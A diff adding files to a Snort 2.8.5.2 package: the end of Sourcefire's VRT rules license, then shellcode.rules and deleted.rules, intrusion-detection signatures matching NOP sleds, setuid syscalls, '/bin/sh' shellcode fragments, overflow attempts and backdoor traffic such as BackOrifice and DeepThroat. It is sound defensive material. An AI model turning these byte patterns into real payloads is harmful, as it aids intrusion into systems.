+  	your or your employer's consultants, agents and subcontractors for
+  	the limited purpose of exercising your rights under this Section 2.1
+  	provided that such use is in compliance with this Agreement.
+
+  Paragraphs (a) though (g) of this Section 2.1 are collectively referred
+  to as the "Permitted Uses".  All rights not granted under this Agreement
+  are reserved by Sourcefire.
+
+  2.2. Limitations on License; Restricted Activities.  You recognize and
+  agree that the VRT Certified Rules are the property of Sourcefire,
+  contain valuable assets and proprietary information and property of
+  Sourcefire, and are provided to you under the terms and conditions of
+  this Agreement.  Notwithstanding anything to the contrary in this
+  Agreement, You agree that you shall NOT do any of the following without
+  Sourcefire's prior written consent:
+
+  	(a) use, deploy, perform, modify, license, display, reproduce or
+  	distribute the VRT Certified Rules or Modifications (even if merged
+  	with other materials as a Compilation) other than as allowed under a
+  	Permitted Use;
+
+  	(b) sell, license, transfer, rent, loan, use, modify, reproduce or
+  	disclose the VRT Certified Rules or any Modifications (in whole or in
+  	part and whether done independently or as part of a Compilation) for
+  	a Commercial Purpose;
+
+  	(c) post or make generally available any VRT Certified Rule (in whole
+  	or in part or any Modifications thereto) to individuals or a group of
+  	individuals who have not agreed to the terms and conditions of this
+  	Agreement, provided, however, that nothing in this Section 2.2(c)
+  	shall preclude the Permitted Use in Section 2.1(e); 
+
+  	(d) share any user authentication information and/or password
+  	provided to you by Sourcefire with any third party to allow such
+  	party access your snort.org account or to otherwise access the VRT
+  	Certified Rules; 
+
+  	(e) alter or remove any copyright notice or proprietary legend
+  	contained in or on the VRT Certified Rules.  
+
+  Paragraphs (a) though (e) of this Section 2.2 are collectively referred
+  to as the "Restricted Activities").
+
+  2.3. Reproduction Obligations.  You agree that any embodiment of the VRT
+  Certified Rules permitted under this Agreement will contain the notices
+  set forth in Exhibit A.  In addition, to the extent you make any copies
+  of or distribute the VRT Certified Rules or any Modifications under this
+  Agreement, you agree to ensure that any and all such copies shall contain:
+
+  	(a) a copy of an appropriate copyright notice and all other
+  	applicable proprietary legends;
+
+  	(b) a disclaimer of any warranty consistent with this Agreement; and
+
+  	(c) any and all notices referencing this Agreement and absence of warranties.
+
+3. Modifications; Derivative Works.  In the event you create a
+Modification, the use, reproduction and distribution of such
+Modifications shall be governed by the terms and conditions of this
+Agreement.  Additionally, you hereby grant Sourcefire and any other
+licensee of the VRT Certified Rules an irrevocable, perpetual, fully
+paid-up, world-wide, royalty-free, non-exclusive license to use,
+reproduce, modify, display, perform and distribute such Modifications
+(and the source code thereto), provided, however, that you and any
+recipient of such Modifications must include: 
+
+	(a) the original copyright notice and all other applicable
+	proprietary legends;
+
+	(b) the original warranty disclaimer; 
+
+	(c) the original notices referencing this Agreement and absence of
+	warranties; and
+
+	(d) a prominent notice stating that you changed the VRT Certified
+	Rule (or any Modification thereto) and the date of any change.
+
+4. Distribution Obligations.
+
+  4.1. General.  The source code version of the VRT Certified Rules (or
+  any Modification thereof) may be distributed only under the terms of
+  this Agreement, and you must include a copy of this Agreement with every
+  copy of the VRT Certified Rules you distribute. 
+
+  4.2. Required Notices.  You must duplicate the notice in Exhibit A in
+  each file of the source code.  If it is not possible to put such notice
+  in a particular source code file due to its structure, then you must
+  include such notice in a location (such as a relevant directory) where a
+  user would be likely to look for such a notice. If you created one or
+  more Modification(s) you may add your name as a contributor to the
+  notice described in Exhibit A. You must also duplicate this Agreement in
+  any documentation for the source code where you describe recipients'
+  rights or ownership rights relating to the VRT Certified Rules.  To the
+  extent you offer additional warranty, support, indemnity or liability
+  obligations, you may do so only on your own behalf, and not on behalf of
+  Sourcefire.  You must make it absolutely clear that any such warranty,
+  support, indemnity or liability obligation is offered by you alone, and
+  you hereby agree to indemnify and hold Sourcefire harmless for any
+  liability incurred by Sourcefire as a result of any warranty, support,
+  indemnity or liability terms you offer.
+
+5. Inability to Comply Due to Statute or Regulation.  If it is
+impossible for you to comply with any of the terms of this Agreement
+with respect to some or all of the VRT Certified Rules due to statute,
+judicial order, or regulation then you must: (a) comply with the terms
+of this Agreement to the maximum extent possible; and (b) describe the
+limitations and the code they affect.  Such description must be included
+with all distributions of the source code.  Except to the extent
+prohibited by statute or regulation, such description must be
+sufficiently detailed for a recipient of ordinary skill to be able to
+understand it.
+
+6. Application of this Agreement.  This Agreement also applies to code
+to which Sourcefire has attached the notice in Exhibit A and to related
+Modifications created under Section 3.
+
+7. Versions of the Agreement.  
+
+  7.1. New Versions.  Sourcefire may publish revised and/or new versions
+  of the Agreement from time to time.  Each version will be given a
+  distinguishing version number.
+
+  7.2. Effect of New Versions. Once a VRT Certified Rule has been
+  published under a particular version of the Agreement, you may always
+  continue to use it under the terms of that version. You may also choose
+  to use such VRT Certified Rule under the terms of any subsequent version
+  of the Agreement published by Sourcefire. No one other than Sourcefire
+  has the right to modify the terms applicable to a VRT Certified Rule.
+
+8. DISCLAIMER OF WARRANTY.  THE VRT CERTIFIED RULES AND MODIFICATIONS IS
+ARE PROVIDED UNDER THIS AGREEMENT ON AN "AS IS" BASIS, WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, WITHOUT LIMITATION,
+WARRANTIES THAT THE VRT CERTIFIED RULES OR THE MODIFICATIONS ARE FREE OF
+DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING.
+THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE VRT CERTIFIED
+RULES AND MODIFICATIONS IS WITH YOU. SHOULD THE VRT CERTIFIED RULES OR
+MODIFICATIONS PROVE DEFECTIVE IN ANY RESPECT, YOU (NOT SOURCEFIRE)
+ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS
+DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS AGREEMENT.
+NO USE OF ANY VRT CERTIFIED RULE OR ANY MODIFICATION IS AUTHORIZED
+HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+9. Termination.  This Agreement and the rights granted hereunder will
+terminate automatically if you fail to comply with any or all of the
+terms herein and fail to cure such breach within 30 days of becoming
+aware of the breach.  All sublicenses to the VRT Certified Rules, which
+are properly granted, shall survive any termination of this Agreement. 
+Provisions which, by their nature, must remain in effect beyond the
+termination of this Agreement shall survive. 
+
+10. LIMITATION OF LIABILITY.  UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL
+THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE,
+SHALL YOU OR SOURCEFIRE BE LIABLE TO ANY PERSON FOR ANY INDIRECT,
+SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER
+INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK
+STOPPAGE, SECURITY BREACHES OR FAILURES, COMPUTER FAILURE OR
+MALFUNCTION, OR ANY AND ALL OTHER DAMAGES OR LOSSES, EVEN IF SUCH PARTY
+SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS
+LIMITATION OF LIABILITY SHALL NOT APPLY TO THE EXTENT APPLICABLE LAW
+PROHIBITS SUCH LIMITATIONS. SOME JURISDICTIONS DO NOT ALLOW THE
+EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS
+EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+11. Audit Rights. You will, from time to time and as requested by
+Sourcefire, provide assurances to Sourcefire that you are using the VRT
+Certified Rules consistent with a Permitted Use, and you grant
+Sourcefire access, at reasonable times and in a reasonable manner, to
+the VRT Certified Rules in your possession or control, and to your
+books, records and facilities to permit Sourcefire to verify appropriate
+use of the VRT Certified Rules and compliance with this Agreement.
+Sourcefire's non-exercise of this right, or its failure to discover or
+object to any inappropriate use or other breach of this Agreement by
+you, shall not constitute its consent thereto or waiver of Sourcefire's
+rights hereunder or under law.  In the event your use of the VRT
+Certified Rules is not in compliance with a Permitted Use, or if you
+otherwise violate the terms of this Agreement, Sourcefire may, since
+remedies at law may be inadequate, in addition to its other remedies:
+(a) demand return of the VRT Certified Rules; (b) forbid and enjoin your
+further use of the VRT Certified Rules; (c) assess you the cost of
+Sourcefire's inspection and enforcement efforts (including attorney
+fees); and/or (d) assess you a use fee appropriate to your actual use of
+the VRT Certified Rules.
+
+12. United States Government Users.  If the VRT Certified Rules or
+Modifications are being acquired by or on behalf of the U.S. Government
+or by a U.S. Government prime contractor or subcontractor (at any tier),
+then the Government's rights in the VRT Certified Rules and
+Modifications shall be subject to Sourcefire's standard commercial terms
+and only as set forth in this Agreement; and only with "Limited Rights"
+and "Restricted Rights" as defined the federal regulations if the
+commercial terms are deemed not to apply..
+
+13. Miscellaneous.  This Agreement represents the complete agreement
+concerning subject matter hereof. If any provision of this Agreement is
+held to be unenforceable, such provision shall be reformed only to the
+extent necessary to make it enforceable. This Agreement shall be
+governed by Maryland law provisions (except to the extent applicable
+law, if any, provides otherwise), excluding its conflict-of-law
+provisions. Any litigation relating to this Agreement shall be subject
+to the jurisdiction of the state and Federal Courts serving Greenbelt,
+Maryland, with the losing party responsible for costs, including without
+limitation, court costs and reasonable attorneys' fees and expenses. 
+You hereby submit to jurisdiction and venue in such courts.  The
+application of the United Nations Convention on Contracts for the
+International Sale of Goods is expressly excluded. Any law or regulation
+which provides that the language of a contract shall be construed
+against the drafter shall not apply to this Agreement.  Headings and
+section references are used for reference only and shall not be used
+define, limit or describe such section.
+
+EXHIBIT A - VRT Certified Rules License Agreement
+The contents of this file are subject to the VRT Certified Rules License
+Agreement 1.1 (the "Agreement").  You may not use this file except in
+compliance with the Agreement.  You may obtain a copy of the Agreement
+at www.snort.org.
+Software distributed under the Agreement is distributed on an "AS IS"
+basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
+Agreement for the specific language governing rights and limitations
+under the Agreement.
+The developer of the VRT Certified Rules is Sourcefire, Inc., a Delaware
+corporation.
+Contributor:			
+2005(c) Sourcefire, Inc. All Rights Reserved.  Snort(r), Sourcefire(tm),
+the Snort(r) logo and the Sourcefire logo are trademarks of Sourcefire.
+
+Note: A printer friendly version of this Agreement is available in PDF format.
--- snort-2.8.5.2.orig/rules/shellcode.rules
+++ snort-2.8.5.2/rules/shellcode.rules
@@ -0,0 +1,50 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: shellcode.rules,v 1.25.2.1.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+# ---------------
+# SHELLCODE RULES
+# ---------------
+# These signatures are based on shellcode that is common ammong multiple
+# publicly available exploits.
+#
+# Because these signatures check ALL traffic for shellcode, these signatures
+# are disabled by default.  There is a LARGE performance hit by enabling
+# these signatures.
+#
+
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE sparc setuid 0"; content:"|82 10| |17 91 D0| |08|"; reference:arachnids,282; classtype:system-call-detect; sid:647; rev:6;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 setgid 0"; content:"|B0 B5 CD 80|"; reference:arachnids,284; classtype:system-call-detect; sid:649; rev:8;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 setuid 0"; content:"|B0 17 CD 80|"; reference:arachnids,436; classtype:system-call-detect; sid:650; rev:8;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE SGI NOOP"; content:"|03 E0 F8|%|03 E0 F8|%|03 E0 F8|%|03 E0 F8|%"; reference:arachnids,356; classtype:shellcode-detect; sid:638; rev:5;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE SGI NOOP"; content:"|24 0F 12|4|24 0F 12|4|24 0F 12|4|24 0F 12|4"; reference:arachnids,357; classtype:shellcode-detect; sid:639; rev:5;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE AIX NOOP"; content:"O|FF FB 82|O|FF FB 82|O|FF FB 82|O|FF FB 82|"; classtype:shellcode-detect; sid:640; rev:6;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE Digital UNIX NOOP"; content:"G|FF 04 1F|G|FF 04 1F|G|FF 04 1F|G|FF 04 1F|"; reference:arachnids,352; classtype:shellcode-detect; sid:641; rev:6;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE HP-UX NOOP"; content:"|08|!|02 80 08|!|02 80 08|!|02 80 08|!|02 80|"; reference:arachnids,358; classtype:shellcode-detect; sid:642; rev:6;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE HP-UX NOOP"; content:"|0B|9|02 80 0B|9|02 80 0B|9|02 80 0B|9|02 80|"; reference:arachnids,359; classtype:shellcode-detect; sid:643; rev:7;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE sparc NOOP"; content:"|13 C0 1C A6 13 C0 1C A6 13 C0 1C A6 13 C0 1C A6|"; reference:arachnids,345; classtype:shellcode-detect; sid:644; rev:5;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE sparc NOOP"; content:"|80 1C|@|11 80 1C|@|11 80 1C|@|11 80 1C|@|11|"; reference:arachnids,353; classtype:shellcode-detect; sid:645; rev:5;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE sparc NOOP"; content:"|A6 1C C0 13 A6 1C C0 13 A6 1C C0 13 A6 1C C0 13|"; reference:arachnids,355; classtype:shellcode-detect; sid:646; rev:5;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 NOOP"; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90|"; depth:128; reference:arachnids,181; classtype:shellcode-detect; sid:648; rev:7;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 stealth NOOP"; content:"|EB 02 EB 02 EB 02|"; reference:arachnids,291; classtype:shellcode-detect; sid:651; rev:8;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 0x90 unicode NOOP"; content:"|90 00 90 00 90 00 90 00 90 00|"; classtype:shellcode-detect; sid:653; rev:9;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE Linux shellcode"; content:"|90 90 90 E8 C0 FF FF FF|/bin/sh"; reference:arachnids,343; classtype:shellcode-detect; sid:652; rev:9;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 inc ebx NOOP"; content:"CCCCCCCCCCCCCCCCCCCCCCCC"; classtype:shellcode-detect; sid:1390; rev:5;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 NOOP"; content:"aaaaaaaaaaaaaaaaaaaaa"; classtype:shellcode-detect; sid:1394; rev:5;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 0xEB0C NOOP"; content:"|EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C EB 0C|"; classtype:shellcode-detect; sid:1424; rev:6;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 0x71FB7BAB NOOP"; content:"q|FB|{|AB|q|FB|{|AB|q|FB|{|AB|q|FB|{|AB|"; classtype:shellcode-detect; sid:2312; rev:2;)
+alert ip $EXTERNAL_NET $SHELLCODE_PORTS -> $HOME_NET any (msg:"SHELLCODE x86 0x71FB7BAB NOOP unicode"; content:"q|00 FB 00|{|00 AB 00|q|00 FB 00|{|00 AB 00|q|00 FB 00|{|00 AB 00|q|00 FB 00|{|00 AB 00|"; classtype:shellcode-detect; sid:2313; rev:2;)
--- snort-2.8.5.2.orig/rules/deleted.rules
+++ snort-2.8.5.2/rules/deleted.rules
@@ -0,0 +1,451 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: deleted.rules,v 1.37.2.1.2.1 2005/05/16 22:17:51 mwatchinski Exp $
+#-------------
+# DELETED RULES
+#-------------
+# These signatures have been deleted for various reasons, but we are keeping
+# them here for historical purposes.
+
+# Duplicate to 332
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER probe 0 attempt"; flow:to_server,established; content:"0"; reference:arachnids,378; classtype:attempted-recon; sid:325; rev:4;)
+
+# Duplicate of 512
+alert tcp $HOME_NET 5631 -> $EXTERNAL_NET any (msg:"MISC Invalid PCAnywhere Login"; flow:from_server,established; content:"Invalid login"; depth:13; offset:5; classtype:unsuccessful-user; sid:511; rev:5;)
+
+# Duplicate of 514
+alert tcp $EXTERNAL_NET any -> $HOME_NET 27374 (msg:"MISC ramen worm incoming"; flow:established; content:"GET "; depth:8; nocase; reference:arachnids,460; classtype:bad-unknown; sid:506; rev:4;)
+
+# Duplicate of 557
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"INFO Outbound GNUTella client request"; flow:established; content:"GNUTELLA OK"; depth:40; classtype:misc-activity; sid:558; rev:5;)
+
+# Duplicate of 559
+alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"P2P Inbound GNUTella client request"; flags:A+; flow:established; content:"GNUTELLA CONNECT"; depth:40; classtype:misc-activity; sid:559; rev:6;)
+
+# Duplicate of 844
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-MISC O'Reilly args.bat access"; flow:to_server,established; uricontent:"/cgi-dos/args.bat"; nocase; classtype:attempted-recon; sid:1121; rev:5;)
+
+# Yeah, so the one site that was vulnerable to edit.pl aint no more.
+# http://packetstorm.widexs.nl/new-exploits/freestats-cgi.txt
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-CGI edit.pl access"; flow:to_server,established; uricontent:"/edit.pl"; nocase; reference:bugtraq,2713; classtype:attempted-recon; sid:855; rev:6;)
+
+# duplicate of 987
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"EXPERIMENTAL WEB-IIS .htr request"; flow:to_server,established; uricontent:".htr"; nocase; reference:bugtraq,4474; reference:cve,2002-0071; reference:nessus,10932; classtype:web-application-activity; sid:1619; rev:8;)
+
+# webmasters suck, so this happens ever so often.  Its really not that bad,
+# so lets disable it.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-MISC prefix-get //"; flow:to_server,established; uricontent:"get //"; nocase; classtype:attempted-recon; sid:1114; rev:6;)
+
+# dup of 1660
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"EXPERIMENTAL WEB-IIS .NET trace.axd access"; flow:to_server,established; uricontent:"/traace.axd"; nocase; classtype:web-application-attack; sid:1749; rev:4;)
+
+# dup
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC iPlanet ../../ DOS attempt"; flow:to_server,established; content:"GET "; depth:4; uricontent:"/../../../../../../../../../../../"; reference:bugtraq,2282; reference:cve,2001-0252; classtype:web-application-attack; sid:1049; rev:11;)
+
+
+# Falses WAAAYYY too often.
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"ATTACK RESPONSES directory listing"; flow:from_server,established; content:"Directory of"; nocase; classtype:unknown; sid:496; rev:8;)
+
+# Replaced with 1801,1802,1803,1804
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-IIS header field buffer overflow attempt"; flow:to_server,established; content:"|3A|"; content:"|0A|"; content:"|00|"; reference:bugtraq,4476; reference:cve,2002-0150; classtype:web-application-attack; sid:1768; rev:7;)
+
+# duplicate of sid:1673
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE execute_system attempt"; flow:to_server,established; content:"EXECUTE_SYSTEM"; nocase; classtype:protocol-command-decode; sid:1698; rev:4;)
+
+# Port based only sigs suck, this is why stream4 has flow logs
+alert tcp $EXTERNAL_NET 6000:6005 -> $HOME_NET any (msg:"X11 outbound client connection detected"; flow:established; reference:arachnids,126; classtype:misc-activity; sid:1227; rev:5;)
+
+# basically duplicate of 330
+alert tcp $EXTERNAL_NET any -> $HOME_NET 79 (msg:"FINGER cybercop redirection"; dsize:11; flow:to_server,established; content:"@localhost|0A|"; reference:arachnids,11; classtype:attempted-recon; sid:329; rev:8;)
+
+# duplicate of 1478
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI swc attempt"; flow:to_server,established; uricontent:"/swc"; nocase; classtype:attempted-recon; sid:1477; rev:5;)
+
+# duplicate of 1248
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE rad overflow attempt"; dsize:>258; flow:to_server,established; uricontent:"/fp30reg.dll"; nocase; reference:arachnids,555; reference:bugtraq,2906; reference:cve,2001-0341; reference:url,www.microsoft.com/technet/security/bulletin/MS01-035.mspx; classtype:web-application-attack; sid:1246; rev:14;)
+
+# duplicate of 1249
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-FRONTPAGE rad overflow attempt"; dsize:>259; flow:to_server,established; uricontent:"/fp4areg.dll"; nocase; reference:bugtraq,2906; reference:cve,2001-0341; classtype:web-application-attack; sid:1247; rev:11;)
+
+# duplicate of 1755
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP EXPLOIT partial body overflow attempt"; dsize:>1092; flow:to_server,established; content:" x PARTIAL 1 BODY["; reference:bugtraq,4713; reference:cve,2002-0379; classtype:misc-attack; sid:1780; rev:9;)
+
+# duplicate of 1538
+alert tcp $EXTERNAL_NET any -> $HOME_NET 119 (msg:"NNTP Cassandra Overflow"; dsize:>512; flow:to_server,established; content:"AUTHINFO USER"; depth:16; nocase; reference:arachnids,274; reference:bugtraq,1156; reference:cve,2000-0341; classtype:attempted-user; sid:291; rev:12;)
+
+# This rule looks for the exploit for w3-msql, but very badly
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-CGI w3-msql solaris x86  access"; flow:to_server,established; uricontent:"/bin/shA-cA/usr/openwin"; nocase; reference:arachnids,211; reference:cve,1999-0276; classtype:attempted-recon; sid:874; rev:7;)
+
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 67 (msg:"EXPLOIT bootp x86 bsd overfow"; content:"echo netrjs stre"; reference:bugtraq,324; reference:cve,1999-0914; classtype:attempted-admin; sid:318; rev:6;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 67 (msg:"EXPLOIT bootp x86 linux overflow"; content:"A90|C0 A8 01 01|/bin/sh|00|"; reference:cve,1999-0389; reference:cve,1999-0798; reference:cve,1999-0799; classtype:attempted-admin; sid:319; rev:5;)
+
+
+# duplicate of 109
+alert tcp $HOME_NET 12346 -> $EXTERNAL_NET any (msg:"BACKDOOR netbus active"; flags:A+; flow:established; content:"NetBus"; reference:arachnids,401; classtype:misc-activity; sid:114; rev:5;)
+
+# duplicate of 110
+alert tcp $EXTERNAL_NET any -> $HOME_NET 12346 (msg:"BACKDOOR netbus getinfo"; flow:to_server,established; content:"GetInfo|0D|"; reference:arachnids,403; classtype:misc-activity; sid:111; rev:5;)
+
+
+# we have a backorifice preprocessor
+alert tcp $HOME_NET 80 -> $EXTERNAL_NET any (msg:"BACKDOOR BackOrifice access"; flags:A+; flow:established; content:"server|3A| BO/"; reference:arachnids,400; classtype:misc-activity; sid:112; rev:6;)
+
+# we have a backorifice preprocessor
+alert udp $EXTERNAL_NET any -> $HOME_NET 31337 (msg:"BACKDOOR BackOrifice access"; content:"|CE|c|D1 D2 16 E7 13 CF|9|A5 A5 86|"; reference:arachnids,399; classtype:misc-activity; sid:116; rev:5;)
+
+
+
+alert udp $EXTERNAL_NET 2140 -> $HOME_NET 60000 (msg:"BACKDOOR DeepThroat 3.1 Server Active on Network"; reference:arachnids,106; classtype:misc-activity; sid:164; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Keylogger on Server ON"; content:"KeyLogger Is Enabled On port"; reference:arachnids,106; classtype:misc-activity; sid:165; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Show Picture Client Request"; content:"22"; reference:arachnids,106; classtype:misc-activity; sid:166; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Hide/Show Clock Client Request"; content:"32"; reference:arachnids,106; classtype:misc-activity; sid:167; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Hide/Show Desktop Client Request"; content:"33"; reference:arachnids,106; classtype:misc-activity; sid:168; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Swap Mouse Buttons Client Request"; content:"34"; reference:arachnids,106; classtype:misc-activity; sid:169; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Enable/Disable CTRL-ALT-DEL Client Request"; content:"110"; reference:arachnids,106; classtype:misc-activity; sid:170; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Freeze Mouse Client Request"; content:"35"; reference:arachnids,106; classtype:misc-activity; sid:171; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Show Dialog Box Client Request"; content:"70"; reference:arachnids,106; classtype:misc-activity; sid:172; rev:6;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Show Replyable Dialog Box Client Request"; content:"71"; reference:arachnids,106; classtype:misc-activity; sid:173; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Hide/Show Start Button Client Request"; content:"31"; reference:arachnids,106; classtype:misc-activity; sid:174; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Resolution Change Client Request"; content:"125"; reference:arachnids,106; classtype:misc-activity; sid:175; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Hide/Show Start Button Client Request"; content:"04"; reference:arachnids,106; classtype:misc-activity; sid:176; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Keylogger on Server OFF"; content:"KeyLogger Shut Down"; reference:arachnids,106; classtype:misc-activity; sid:177; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 FTP Server Port Client Request"; content:"21"; reference:arachnids,106; classtype:misc-activity; sid:179; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Process List Client request"; content:"64"; reference:arachnids,106; classtype:misc-activity; sid:180; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Close Port Scan Client Request"; content:"121"; reference:arachnids,106; classtype:misc-activity; sid:181; rev:5;)
+alert udp $EXTERNAL_NET 60000 -> $HOME_NET 2140 (msg:"BACKDOOR DeepThroat 3.1 Registry Add Client Request"; content:"89"; reference:arachnids,106; classtype:misc-activity; sid:182; rev:5;)
